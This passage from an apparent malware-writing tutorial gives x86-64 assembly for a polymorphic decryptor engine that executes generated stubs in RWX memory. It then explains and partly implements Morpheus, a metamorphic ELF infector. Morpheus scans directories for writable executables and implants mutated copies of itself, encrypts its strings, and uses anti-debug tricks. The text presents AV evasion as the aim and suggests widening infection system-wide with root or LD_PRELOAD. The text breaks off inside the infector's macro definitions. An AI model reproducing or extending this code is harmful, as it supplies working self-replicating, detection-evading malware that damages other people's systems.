    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC1
    stosb
    mov rax, [rel engine_size]
    test rax, rax
    jnz .engine_sz
    mov rax, 512

.engine_sz:
    cmp rax, 65536
    jbe .size_ok
```

```
    mov rax, 65536

.size_ok:
    stosd

    ; mov rdx,stub_key
    mov al, 0x48
    stosb
    mov al, 0xBA
    stosb
    mov rax, [rel stub_key]
    stosq

    ; decryption loop
    mov r14, rdi

    ; test rcx,rcx
    mov al, 0x48
    stosb
    mov al, 0x85
    stosb
    mov al, 0xC9
    stosb

    ; jz done
    mov al, 0x74
    stosb
    mov al, 0x10
    stosb

    ; xor [rsi],dl
    mov al, 0x30
    stosb
    mov al, 0x16
    stosb

    ; rol rdx,7
    mov al, 0x48
    stosb
    mov al, 0xC1
    stosb
    mov al, 0xC2
    stosb
    mov al, 7
```

```
stosb

; inc rsi
mov al, 0x48
stosb
mov al, 0xFF
stosb
mov al, 0xC6
stosb

; dec rcx
mov al, 0x48
stosb
mov al, 0xFF
stosb
mov al, 0xC9
stosb

; jmp loop
mov al, 0xEB
stosb
mov rax, r14
sub rax, rdi
sub rax, 1
neg al
stosb

; copy to allocated memory
; mov rdi,rbx
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xDF
stosb

; calculate engine position
mov rax, [rel p_entry]
mov rbx, [rel stub_sz]
add rax, rbx

; RIP-relative offset
mov rbx, rdi
add rbx, 7
```

```
    sub rax, rbx

    ; lea rsi,[rip+offset]
    mov al, 0x48
    stosb
    mov al, 0x8D
    stosb
    mov al, 0x35
    stosb
    stosd

    ; mov rcx,engine_size
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC1
    stosb
    mov rax, [rel engine_size]
    test rax, rax
    jnz .engine_sz2
    mov rax, 256
.engine_sz2:
    stosd

    ; rep movsb
    mov al, 0xF3
    stosb
    mov al, 0xA4
    stosb

    mov al, RET_OPCODE
    stosb

    ret

bf_boo:
    push rbx

    mov rax, rdi
    sub rax, [rel p_entry]
    add rax, 300
    cmp rax, [rel sz]
```

```
    pop rbx
    ret

; generate runtime keys
gen_runtm:
    push rbx
    push rcx

    rdtsc                           ; entropy from RDTSC
    shl rdx, 32
    or rax, rdx
    xor rax, [rel key]              ; mix with user key

    mov rbx, rsp                    ; stack entropy
    xor rax, rbx

    call .get_rip                   ; RIP entropy
.get_rip:
    pop rbx
    xor rax, rbx

    rol rax, 13

    mov rbx, rax                    ; dynamic constant
    ror rbx, 19
    xor rbx, rsp
    add rax, rbx

    mov rbx, rax                    ; dynamic XOR
    rol rbx, 7
    not rbx
    xor rax, rbx

    mov [rel stub_key], rax

    rol rax, 7                      ; secondary key
    mov rbx, 0xCAFE0F00
    shl rbx, 32
    or rbx,  0xDEADC0DE
    xor rax, rbx
    mov [rel sec_key], rax

    mov rax, [rel stub_key]         ; ensure different from user key
    cmp rax, [rel key]
```

```
    jne .keys_different
    not rax
    mov [rel stub_key], rax
.keys_different:

    pop rcx
    pop rbx
    ret

; PRNG
next_random:
    push rdx
    mov rax, [rel seed]
    mov rdx, rax
    shl rdx, 13
    xor rax, rdx
    mov rdx, rax
    shr rdx, 17
    xor rax, rdx
    mov rdx, rax
    shl rdx, 5
    xor rax, rdx
    mov [rel seed], rax
    pop rdx
    ret

random_range:
    push rdx
    call next_random
    pop rcx
    test rcx, rcx
    jz .range_zero
    xor rdx, rdx
    div rcx
    mov rax, rdx
    ret
.range_zero:
    xor rax, rax
    ret

; random boolean
yes_no:
    call next_random
    and rax, 0xF
```

```
    cmp rax, 7
    setbe al
    movzx rax, al
    ret

; select random registers
get_rr:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je get_rr
    cmp al, REG_RAX                    ; avoid rax as base
    je get_rr
    mov [rel reg_base], al

.retry_count:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_count
    cmp al, REG_RAX                    ; avoid rax as count
    je .retry_count
    cmp al, [rel reg_base]
    je .retry_count
    mov [rel reg_count], al

.retry_key:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_key
    cmp al, [rel reg_base]
    je .retry_key
    cmp al, [rel reg_count]
    je .retry_key
    mov [rel reg_key], al

.retry_junk1:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk1
    mov [rel junk_reg1], al
```

```
.retry_junk2:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk2
    cmp al, [rel junk_reg1]
    je .retry_junk2
    mov [rel junk_reg2], al

.retry_junk3:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk3
    cmp al, [rel junk_reg1]
    je .retry_junk3
    cmp al, [rel junk_reg2]
    je .retry_junk3
    mov [rel junk_reg3], al
    ret

; select algorithm
set_al:
    call next_random
    and rax, 3
    mov [rel alg0_dcr], al
    ret

; generate prologue
gen_p:
    call gen_jmp
    call trash
    call yes_no
    test rax, rax
    jz .skip_trash1
    call trash
.skip_trash1:

    ; mov reg_key,key
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0xB8
    add al, [rel reg_key]
```

```
    stosb
    mov byte [rel prolog_set], 1
    mov rax, [rel key]
    stosq

    call yes_no
    test rax, rax
    jz .skip_trash2
    call trash
.skip_trash2:
    ret

; generate decrypt loop
gen_dec:
    mov [rel jmp_back], rdi

    call trash
    call gen_jmp

    ; mov reg_base,rdi (data pointer)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xF8
    add al, [rel reg_base]
    stosb

    call trash
    call gen_jmp

    ; mov reg_count,rsi (size)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xF0
    add al, [rel reg_count]
    stosb

    call trash
    call gen_jmp

.decr_loop:
```

```
    movzx rax, byte [rel alg0_dcr]
    cmp al, 0
    je .gen_algo_0
    cmp al, 1
    je .gen_algo_1
    cmp al, 2
    je .gen_algo_2
    jmp .gen_algo_3

.gen_algo_0:
    ; add/rol/xor
    call gen_add_mem_key
    call trash
    call gen_trash
    call gen_rol_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_1:
    ; xor/rol/xor
    call gen_xor_mem_key
    call trash
    call gen_trash
    call gen_rol_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_2:
    ; sub/ror/xor
    call gen_sub_mem_key
    call trash
    call gen_trash
    call gen_ror_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_3:
    ; xor/add/xor
```

```
    call gen_xor_mem_key
    call trash
    call gen_trash
    call gen_add_mem_key
    call trash
    call gen_trash
    call gen_xor_mem_key

.gen_loop_end:
    call trash
    call gen_jmp

    mov al, ADD_REG_IMM8
    stosb
    mov al, 0xC0
    add al, [rel reg_base]
    stosb
    mov al, 8
    stosb

    call trash
    call gen_jmp

    ; generate DEC instruction
    movzx rax, byte [rel reg_count]
    cmp al, 8
    jb .dec_no_rex
    mov al, 0x49                        ; rex.wb for r8-r15
    stosb
    movzx rax, byte [rel reg_count]
    sub al, 8
    jmp .dec_encode
.dec_no_rex:
    mov al, 0x48                        ; rex.w for rax-rdi
    stosb
    movzx rax, byte [rel reg_count]
.dec_encode:
    mov ah, 0xFF
    xchg al, ah
    stosw
    mov al, 0xC8
    add al, [rel reg_count]
    and al, 7
    stosb
```

```
    mov al, TEST_REG_REG
    stosb
    mov al, [rel reg_count]
    shl al, 3
    add al, [rel reg_count]
    add al, 0xC0
    stosb

    mov ax, JNZ_LONG
    stosw
    mov rax, [rel jmp_back]
    sub rax, rdi
    sub rax, 4
    neg eax
    stosd
    ret

; algorithm generators
gen_add_mem_key:
    call gen_jmp
    mov al, ADD_MEM_REG
    stosb
    mov dl, [rel reg_key]
    shl dl, 3
    mov al, [rel reg_base]
    add al, dl
    stosb
    ret

gen_sub_mem_key:
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0x29
    stosb
    mov dl, [rel reg_key]
    shl dl, 3
    mov al, [rel reg_base]
    add al, dl
    stosb
    ret

gen_xor_mem_key:
```

```
    call gen_jmp
    mov ax, XOR_MEM_REG
    mov dl, [rel reg_key]
    shl dl, 3
    mov ah, [rel reg_base]
    add ah, dl
    stosw
    ret

gen_rol_mem_16:
    call gen_jmp
    mov al, 0x48
    stosb
    mov ax, ROL_MEM_IMM
    add ah, [rel reg_base]
    stosw
    mov al, 16
    stosb
    ret

gen_ror_mem_16:
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0xC1
    stosb
    mov al, 0x08
    add al, [rel reg_base]
    stosb
    mov al, 16
    stosb
    ret

; basic junk
trash:
    call yes_no
    test rax, rax
    jz .skip_push_pop

    movzx rax, byte [rel junk_reg1] ; push/pop junk
    cmp al, 8
    jb .push_no_rex
    mov al, 0x41
    stosb
```

```
    movzx rax, byte [rel junk_reg1]
    sub al, 8
.push_no_rex:
    add al, PUSH_REG
    stosb

    movzx rax, byte [rel junk_reg2]
    cmp al, 8
    jb .pop_no_rex
    mov al, 0x41
    stosb
    movzx rax, byte [rel junk_reg2]
    sub al, 8
.pop_no_rex:
    add al, POP_REG
    stosb
.skip_push_pop:

    call gen_jmp
    ret

;  jumps
gen_jmp:
    call yes_no
    test rax, rax
    jz .short_jmp
    mov al, JMP_REL32
    stosb
    mov eax, 1
    stosd
    call next_random
    and al, 0xFF
    stosb
    jmp .jmp_exit
.short_jmp:
    mov al, JMP_SHORT
    stosb
    mov al, 1
    stosb
    call next_random
    and al, 0xFF
    stosb
.jmp_exit:
    ret
```

```
; self-modifying junk
gen_self:
    mov al, CALL_REL32
    stosb
    mov eax, 3
    stosd
    mov al, JMP_REL32
    stosb
    mov ax, 0x04EB
    stosw

    call next_random
    and rax, 2
    lea rdx, [rel junk_reg1]
    movzx rdx, byte [rdx + rax]

    mov al, POP_REG
    add al, dl
    stosb
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC0
    add al, dl
    stosb
    mov al, PUSH_REG
    add al, dl
    stosb
    mov al, RET_OPCODE
    stosb
    ret

; advanced junk procedures
gen_trash:
    call yes_no
    test rax, rax
    jz .try_proc2

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
```

```
    mov ax, 0x07EB
    stosw
    mov al, 0x55
    stosb
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xE5
    stosb
    mov ax, FNINIT_OPCODE
    stosw
    mov al, 0x5D
    stosb
    mov al, RET_OPCODE
    stosb
    jmp .exit_trash

.try_proc2:
    call yes_no
    test rax, rax
    jz .try_proc3

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov ax, 0x0AEB
    stosw
    mov al, 0x60
    stosb
    mov eax, 0xD12BC333
    stosd
    mov eax, 0x6193C38B
    stosd
    mov al, 0x61
    stosb
    mov al, RET_OPCODE
    stosb
    jmp .exit_trash

.try_proc3:
    call yes_no
    test rax, rax
```

```
    jz .exit_trash

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov eax, 0x525010EB
    stosd
    mov ax, 0xC069
    stosw
    mov eax, 0x90
    stosd
    mov al, 0x2D
    stosb
    mov eax, 0xDEADC0DE
    stosd
    mov ax, 0x585A
    stosw
    mov al, RET_OPCODE
    stosb

.exit_trash:
    ret

; dummy procedures
gen_dummy:
    call yes_no
    test rax, rax
    jz .skip_dummy

    mov al, CALL_REL32
    stosb
    mov eax, 15
    stosd

    mov al, 0x48
    stosb
    mov al, TEST_REG_REG
    stosb
    mov al, 0xC0
    stosb

    mov al, JZ_SHORT
    stosb
```

```
    mov al, 8
    stosb

    mov al, 0x55
    stosb
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xE5
    stosb

    mov ax, FNINIT_OPCODE
    stosw
    mov ax, FNOP_OPCODE
    stosw

    call next_random
    and rax, 0xFF
    mov al, 0x48
    stosb
    mov al, 0xB8
    stosb
    stosq

    mov al, 0x5D
    stosb
    mov al, RET_OPCODE
    stosb

.skip_dummy:
    ret

; execute generated stub
exec_c:
    push rbp
    mov rbp, rsp
    sub rsp, 32
    push rbx
    push r12
    push r13
    push r14
    push r15
```

```
mov r12, rdi                    ; stub code
mov r13, rsi                    ; stub size
mov r14, rdx                    ; payload data

; validate input
test r12, r12
jz .error
test r13, r13
jz .error
cmp r13, 1
jb .error
cmp r13, 65536
ja .error

mov rax, 9                      ; mmap
mov rdi, 0
mov rsi, r13
add rsi, 4096                   ; padding
mov rdx, 0x7                    ; rwx
mov r10, 0x22                   ; private|anon
mov r8, -1
mov r9, 0
syscall

cmp rax, -1
je .error
test rax, rax
jz .error
mov rbx, rax

; copy stub to executable memory
mov rdi, rbx
mov rsi, r12
mov rcx, r13
rep movsb

; execute stub
cmp rbx, 0x1000
jb .error
call rbx

; cleanup
mov rax, 11                     ; munmap
mov rdi, rbx
```

```
    mov rsi, r13
    add rsi, 4096
    syscall

    mov rax, 1                      ; success
    jmp .done

.error:
    xor rax, rax

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 32
    pop rbp
    ret
```

— What’s Missing —

Right now, this is strictly Linux x64 due to direct syscall dependencies `mmap` usage is tailored for Linux, and the register conventions are specific to x64. Porting to Windows calling conventions, and likely reworking a good chunk of the engine logic. macOS introduces its own syscall numbers and memory protection quirks, so it’s not just a drop-in port either.

The algorithm set is intentionally limited to four variants. It’s enough to prove the concept without making it overly complex or fragile. Expanding to dozens of equivalent variants is possible, but it increases the chances for bugs and requires careful balancing between complexity and correctness.

There’s no runtime recompilation each variant is generated once and remains static during execution. Self-modifying variants could push evasion further but would introduce instability and significantly more implementation overhead.

Future directions could include:

- A syscall abstraction layer to enable true cross-platform support (Linux, Windows, macOS).
- An expanded algorithm and better encryption and obfuscation we did a shity job.
- Dynamic rewriting engines that support self-modifying payloads.

But even in its current form, it nails the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent garbage injection, and multi-layer polymorphic structure. The implementation details can vary, but those fundamentals hold.

This is a foundational polymorphic engine basic by design. Use it to study the core techniques, then build your own. Once you understand the layers entropy, obfuscation, instruction encoding you can take it anywhere.

What Makes Code *Truly* Mutational

Metamorphic code doesn't just obfuscate it **rewrites** itself. On each execution, it parses its own binary, locates transformable regions, and replaces them with semantically equivalent but syntactically distinct instruction sequences.

Take a simple task: zeroing a register. You've got options like `XOR RAX, RAX`, `SUB RAX, RAX`, `MOV RAX, 0`, or even `PUSH 0; POP RAX`. Same effect, different opcodes. To a static scanner, they're unrelated.

Metamorphic engines leverage this by maintaining a catalog of instruction-level substitutions. Each iteration applies randomized transformations register renaming, instruction reordering (where safe), junk insertion, control-flow restructuring. The logic stays intact, but the layout keeps shifting.

Now add replication. Each infected binary carries its parent's mutations, plus new ones generated during infection. Over time, this creates a divergent set of binaries functionally identical, structurally unique. No fixed signatures. No consistent patterns. Just evolution at the opcode level. That's why it's called assembly heaven

A Classic Reference: MetaPHOR

There's a solid write-up from way back in 2002 that breaks down the anatomy of a metamorphic engine: *"How I made MetaPHOR and what I've learnt"* by **The Mental Driller**. Yeah 2002. Ancient by today's standards, but the fundamentals still punch hard. Some tweaks needed for modern systems, sure, but the core mechanics? Still solid.

Polymorphism was about camouflage tweak the decryptor, wrap the payload, keep the core static. Metamorphism ditched the wrapper and went internal. It **disassembles entire blocks, rewrites them from scratch, then reassembles the binary** with new logic layouts, altered control flow, shifted instruction patterns. Every drop gets a new shape.

This isn't about flipping a register name or sprinkling in a few NOPs. It's **full-code mutation** deep structural churn that leaves no static fingerprint behind.

— Disassembly & Shrinking —

To mutate, the Vx(Virus) first needs to disassemble itself into an internal pseudo assembly format a custom abstraction that makes raw opcodes readable and transformable. It cracks open its own instruction stream, decodes ops like `jmp`, `call`, and conditional branches, and maps out control flow into manageable data structures.

Once disassembled, the code gets dumped into memory buffers. From there, it builds pointer tables for jump targets, call destinations, and other control-critical elements so nothing breaks during the rewrite.

Next up: the shrinker. This pass scans for bloated instruction sequences and compacts them into minimal equivalents. Think of things like:

Original Instruction	Compressed Instruction	What's Going On
`MOV reg, reg`	`NOP`	No effect dead op
`XOR reg, reg`	`MOV reg, 0`	Zeroed out the reg

The shrinker's job? Strip the fat. It walks the disassembled code, collapsing bloated instruction chains left behind by earlier passes. Goal: tighten the binary, kill redundancy, clear the path for fresh mutations.

- `MOV addr, reg` + `PUSH addr` > `PUSH reg`
- `MOV addr2, addr1` + `MOV addr3, addr2` > `MOV addr3, addr1`
- `MOV reg, val` + `ADD reg, reg2` > `LEA reg, [reg2 + val]`

Match found? It swaps in the compressed form > nukes the leftovers with `NOP`s. Cleaned, packed, and ready to mutate again.

— Permutation & Expansion —

Once the shrinker's done, the permutator kicks in. Its job? Shuffle the deck reorder instructions, inject entropy, keep the logic intact but the layout unpredictable. Each pass breaks the pattern trail a little more.

It's not just reordering. The permutator also swaps in equivalent instructions same outcome, different ops. You remember the drill.

Example: randomizing register usage in `PUSH`/`POP`. One run uses `RCX`, next time it's `R8`, or `RDX`. Same behavior, totally different footprint. The result? New register patterns, fresh instruction flow, unique every cycle.

In this stage, the code might swap a `PUSH reg` with an alternate `POP` pattern flipping register usage along the way. It's all part of the shuffle.

Then comes the expander the anti-shrinker. Instead of compressing, it blows up single instructions into equivalent pairs or triplets. Recursive expansion ramps up code complexity, making sure no two generations of the Vx ever look alike. Register sets get scrambled again, layering even more variation into the output.

> **Control variables** kick in here hard limits to keep the code from spiraling into bloat. Without them, each iteration could double in size. That ends badly.

Finally, the **assembler** steps in. It stitches the mutated code back into valid machine code realign jumps, fix call offsets, patch instruction lengths. Any registers scrambled earlier get resolved here, making sure the binary still runs clean.

Once that's done, the process is complete: the Vx has mutated into a structurally unique, fully operational variant. Same payload. Brand-new shape.

— Generation —

You’ve seen how we handled polymorphism by injecting junk code and swapping registers. Metamorphism works similarly but involves a more rewrite of the code. For example, after identifying certain junk instruction sequences (like `PUSH` followed by `POP`), we can replace them with equivalent but structurally different code.

The loop we used for polymorphism scanning the binary for patterns and inserting junk gets expanded in metamorphism to not just swap instructions, but also modify entire blocks of code. We break down the Vx’s `.text` section, analyze the instructions, and substitute them with different ones, all while maintaining the Vx’s overall behavior.

Once Vx has rewritten itself in memory, it saves the new, mutated version back to disk. Every time the Vx executes, it produces a fresh copy of itself, complete with random junk code and rewritten logic. This isn’t just superficial: the underlying instructions are shuffled, expanded, or compressed, making it nearly impossible for static detection methods to keep up.

Sound familiar?

```
0x00001bc9      e845020000      call 0x1e13                 ;[1]
0x00001bce      53              push rbx
0x00001bcf      50              push rax
0x00001bd0      4887c0          xchg rax, rax
0x00001bd3      4887c0          xchg rax, rax
0x00001bd6      58              pop rax
0x00001bd7      5b              pop rbx
0x00001bd8      488b45f8        mov rax, qword [rbp - 8]
0x00001bdc      4889c6          mov rsi, rax
0x00001bdf      488d05951400.   lea rax, str.chmod_x__s     ; 0x307b
0x00001be6      4889c7          mov rdi, rax
0x00001be9      e893fdffff      call 0x1981                 ;[2]
0x00001bee      53              push rbx
0x00001bef      50              push rax
0x00001bf0      4887c0          xchg rax, rax
0x00001bf3      4887c0          xchg rax, rax
0x00001bf6      58              pop rax
0x00001bf7      5b              pop rbx
0x00001bf8      488b45f8        mov rax, qword [rbp - 8]
0x00001bfc      4889c7          mov rdi, rax
0x00001bff      e869feffff      call 0x1a6d                 ;[3]
```

See those `JUNK` macro calls? Scattered randomly. Each one’s a marker a hook where modifications can hit. Smart Trash. Purposefully useless. Designed to throw off disassemblers and scanners alike.

We use a dedicated scanner function to handle it. It walks the code, looks for patterns like `PUSH`/`POP` on the same register, spaced eight bytes apart and flags them. Once flagged, the junk gets overwritten with random, harmless substitutes. New trash, same intent: confuse everything that tries to read static.

It parses each instruction, checks if it matches any known junk patterns, and returns the length if there’s a hit. No match? It bails. This lets the mutation loop know where to hit and what to leave alone.

That loop is core. It hunts for `JUNK` sequences and replaces them with new instruction chains, randomized per run. So every time the Vx executes, old trash gets purged and **new noise** takes its place. Each call to `JUNK` marks a modifiable slot a sandboxed section of code that gets mutated per generation. Harmless in behavior. Chaotic in structure.

Once mutation’s complete, the Vx replicates drops a new copy into any executables it finds in the same dir. That copy? Structurally mutated, same behavior, True polymorphic/metamorphic malware isn’t about tricking AV once. It's about constant transformation reshaping the binary each time it breathes. As long as the logic stays intact and the structure keeps shifting, static detection doesn't stand a chance.

> This is the **bare minimum** just the essentials. Core mechanics that let Vx code morph and survive. There's more way more but this is the foundation.

Enough talk. Remember the code I mentioned alongside *Veil64*? Now's the time.

Morpheus applies metamorphic principles in a real, working viral infector. This isn't theory it's practical. It shows how a mutation engine can function end-to-end without relying on encryption or packers.

The core idea is simple: Morpheus treats its own executable code the same way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, and writes out a mutated version that performs the same task through different instruction sequences.

Here's what happens each time Morpheus runs:

Pulls out obfuscated strings, Runs whatever it's coded to do and loads its own `.text` section, disassembles blocks, identifies mutation points (NOPs, junk patterns, simple ops like `MOV`, `XOR...`). then Applies transformations register shuffling, instruction substitution, block reordering, or expansion. Generates structurally different code with the same logic. and Writes the mutated binary into new targets (usually ELF in the same directory), modifying headers as needed to ensure execution.

Each generation of the binary is actually different not just junk code and register swaps, but real structural change. At the same time, the payload and functionality remain intact. This lets Morpheus regenerate itself on every execution, making static signature detection unreliable. And since the transformation happens at runtime and rewrites the actual file on disk, traditional scanning methods can't easily track it.

Junk code is always a balancing act. You want to inject instructions that do nothing but they can't *look* like they do nothing. Random `NOP`s are too obvious. They stand out during static analysis and give away intent. Same with dummy arithmetic like `ADD EAX, 0` or `SUB EBX, 0` they don't affect state and stick out as noise.

In *Veil64*, we used basic junk insertion padding with `NOP` like behavior. It worked for evasion at the time but wasn't subtle.

This 10-byte sequence

```
PUSH RAX        ; 0x50
PUSH RBX        ; 0x53
XCHG RAX, RBX   ; 0x48 0x87 0xC3
XCHG RAX, RBX   ; 0x48 0x87 0xC3
POP RBX         ; 0x5B
POP RAX         ; 0x58
```

The net effect? Absolutely nothing. No state change, no memory touched, no flags affected. RAX and RBX end up exactly where they started. But from a static analysis perspective, this could easily pass as compiler-generated register preservation maybe something inserted around a call site or an inline optimization artifact.

Morpheus uses this kind of sequence heavily. The `JUNK` macro tags these blocks, and on each execution, the engine scans for them and replaces them with structurally different but functionally equivalent junk patterns. The goal isn't just obfuscation it's plausible obfuscation. Patterns that don't raise immediate red flags but still introduce variation across generations.

We implements four register combinations for the smart junk pattern. Each variant follows the same logic push two registers, swap them twice, pop in reverse — but uses different register pairs to produce unique byte sequences.

- **Variant 0**: RAX / RBX
  Opcodes: `0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58`
- **Variant 1**: RCX / RDX
  Opcodes: `0x51, 0x52, 0x48, 0x87, 0xCA, 0x48, 0x87, 0xCA, 0x5A, 0x59`
- **Variant 2**: RAX / RCX
  Opcodes: `0x50, 0x51, 0x48, 0x87, 0xC1, 0x48, 0x87, 0xC1, 0x59, 0x58`
- **Variant 3**: RBX / RDX
  Opcodes: `0x53, 0x52, 0x48, 0x87, 0xD3, 0x48, 0x87, 0xD3, 0x5A, 0x5B`

The variation comes from the `XCHG` instruction's ModR/M byte that's what encodes the register pair.

- `RAX/RBX` > `0xC3`
- `RCX/RDX` > `0xCA`
- `RAX/RCX` > `0xC1`
- `RBX/RDX` > `0xD3`

Functionally, all variants are equivalent zero side effects but the binary signature changes completely. That's the point: structural diversity without behavioral change.

```
junk:
    mov r8, [codelen]          ; Total code size
    mov r9, code               ; Code buffer pointer
    xor r12, r12               ; Current offset

.scan_loop:
    cmp r12, r8
    jae .done

    ; Check for PUSH instruction (0x50-0x53 range)
    movzx eax, byte [r9 + r12]
    cmp al, PUSH
    jb .next_i
    cmp al, PUSH + 3           ; Only RAX,RBX,RCX,RDX
    ja .next_i
```

```
    ; Verify second byte is also PUSH
    movzx ebx, byte [r9 + r12 + 1]
    cmp bl, PUSH
    jb .next_i
    cmp bl, PUSH + 3
    ja .next_i

    ; Check REX.W prefix at offset +2
    cmp byte [r9 + r12 + 2], REX_W
    jne .next_i

    ; Check XCHG opcode at offset +3
    cmp byte [r9 + r12 + 3], XCHG_OP
    jne .next_i

    ; Full pattern validation
    call validate
    test eax, eax
    jz .next_i

    ; Replace with new variant
    call insert
```

The scanner works by scanning for fixed byte patterns that match known junk structures. It doesn't do full disassembly or instruction decoding just raw pattern matching against exact opcode sequences. Quick, direct, and reliable for identifying predefined junk variants.

Also This verification prevents accidental modification of legitimate code that happens to start with PUSH instructions. Only complete, correctly-formed junk patterns get replaced.

```
validate:
    ; Extract register numbers from PUSH opcodes
    movzx eax, byte [r9 + r12]
    sub al, PUSH              ; Convert to register number (0-3)
    mov bl, al                ; First register

    movzx eax, byte [r9 + r12 + 1]
    sub al, PUSH
    mov cl, al                ; Second register

    ; Registers must be different
    cmp bl, cl
    je .invalid
```

```
    ; reversed
    movzx eax, byte [r9 + r12 + 8]
    sub al, POP
    cmp al, cl              ; Should match second register
    jne .invalid

    movzx eax, byte [r9 + r12 + 9]
    sub al, POP
    cmp al, bl              ; Should match first register
    jne .invalid

    mov eax, 1              ; Pattern validated
    ret
```

This part is impotent you need some form of encryption whether it’s for the payload or something else. In our case, we encrypt all strings to dodge static signature detection. Speaking as a reverser, the first thing I do when hitting an unknown binary is check its strings. They reveal a lot. So you want to keep those hidden.

That said, encrypted strings still stand out because they look like random blobs, so don’t get too fancy. What I went with is a simple XOR scheme. Each string gets its own key, and decryption is just XOR again with that key. Why XOR? Fast.

```
keys            db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
; and then :
; rdi=encrypted, rsi=output, rdx=length, rcx=key_index
d_str:
    mov r8, keys
    add r8, rcx                 ; Point to selected key
    mov al, [r8]                ; Load key byte

    mov rcx, rdx                ; Use length as counter

.d_loop:
    test rcx, rcx
    jz .d_done

    mov bl, [rdi]               ; Load encrypted byte
    xor bl, al                  ; XOR with key
    mov [rsi], bl               ; Store decrypted byte

    inc rdi
    inc rsi
    dec rcx
    jmp .d_loop
```

Decryption kicks in once at startup, keeping all strings encrypted in the static binary until then. Usually, we decrypt strings first, then jump into mutation and infection. To spice things up, I've added one of my go-to anti-debug tricks: the `INT3 Trap Shellcode`. It drops breakpoint interrupts (`INT3`), messing with debugger flow and making static analysis a headache. By peppering these `INT3`s inside the shellcode, we trip up anyone trying to step through.

what if you want to fool the reverser? For example, swap out real operations with fake ones so the debugger thinks the program's doing something legit. If I catch a debugger, I just print a cat ASCII art and do nothing else.

That said, relying on `ptrace` for anti-debug is shaky. It's easy to spot in import tables, and bypassing it is trivial it's just a function call after all.

So…

— Infection —

For infection, we scan directories looking for ELF binaries. Why just the current dir? Simple this ain't real malware. you could hit `$HOME`, `$HOME/bin`, `/usr/local/bin`, or whatever makes sense for your target. Just depends on your goal system-wide drop pick your path.

You'll obviously need root if you're going outside your user scope. Want to go fancy? Use `LD_PRELOAD`, hook something common, But for me, I keep it simple. I only infect binaries in the same directory my own sandbox. My binaries. My rules.

The scanner filters targets with a few sanity checks to avoid trash files and stick to viable ELF executables:

File type: must be a regular file (skip symlinks, dirs, devices)
Filename: ignore dotfiles no need to infect config or hidden junk
Format: validates ELF magic (`0x7F 45 4C 46`), 64-bit, type == executable
Permissions: needs to be both executable and writable if we can't run or patch it, it's out

This keeps the infection loop focused and clean only hitting binaries that can actually be modified and launched.

```
list:                               ; Directory scanning function
    mov rdi, current_dir            ; "./"
    mov rsi, O_RDONLY
    call sys_open
    mov r12, rax                    ; Save directory fd

.list_loop:
    mov rdi, r12
    mov rsi, dir_buf                ; 4KB buffer
    mov rdx, 4096
    call sys_getdents64             ; Read directory entries
```

```
    cmp rax, 0
    je .prop_done                    ; No more entries

    ; Process each directory entry
.list_entry:
    ; Check file type (offset 18 in dirent structure)
    mov r8, rdi
    add r8, 18
    mov cl, [r8]
    cmp cl, 8                        ; DT_REG (regular file)
    jne .prop_skip_entry

    ; Skip hidden files starting with '.'
    cmp byte [rdi + 19], '.'         ; Filename starts at offset 19
    je .prop_skip_entry

    ; Validate ELF format
    push rdi
    add rdi, 19                      ; Point to filename
    call is_valid_elf
    pop rdi
    test rax, rax
    jz .skip_entry

    ; Check executable permissions
    push rdi
    add rdi, 19
    mov rsi, X_OK
    call sys_access
    pop rdi
    cmp rax, 0
    jne .skip_entry

    ; Infect the target
    push rdi
    add rdi, 19
    call implant
    pop rdi
```

This validation step avoids breaking junk no damaged binaries, wrong arch, or files that won't execute. Once a target passes all checks, the infection kicks in. Before patching, it drops a hidden backup with a `.morph8` prefix that way, originals are preserved.

Before any overwrite, it creates a hidden backup with a `.morph8` prefix. If that backup already exists, infection is skipped it's basically a signature that the file's already been morphed. This avoids redundant infection, keeping each target cleanly mutated once per generation.

It also allows future logic to reprocess or mutate again if needed but intentionally, Morpheus keeps it one-pass unless triggered otherwise. Keeps things stable while still introducing mutation depth.

— Morpheus —

```
;;
;;      M O R P H E U S   [ polymorphic ELF infector ]
;;      ------------------------------------------------
;;      stealth // mutation // syscall-only // junked //
;;      ------------------------------------------------
;;      0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec
;;

%define PUSH 0x50
%define POP 0x58
%define MOV 0xB8
%define NOP 0x90
%define REX_W 0x48
%define XCHG_OP 0x87
%define XCHG_BASE 0xC0

%define ADD_OP 0x01
%define AND_OP 0x21
%define XOR_OP 0x31
%define OR_OP 0x09
%define SBB_OP 0x19
%define SUB_OP 0x29

%define JUNKLEN 10

; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
%macro JUNK 0
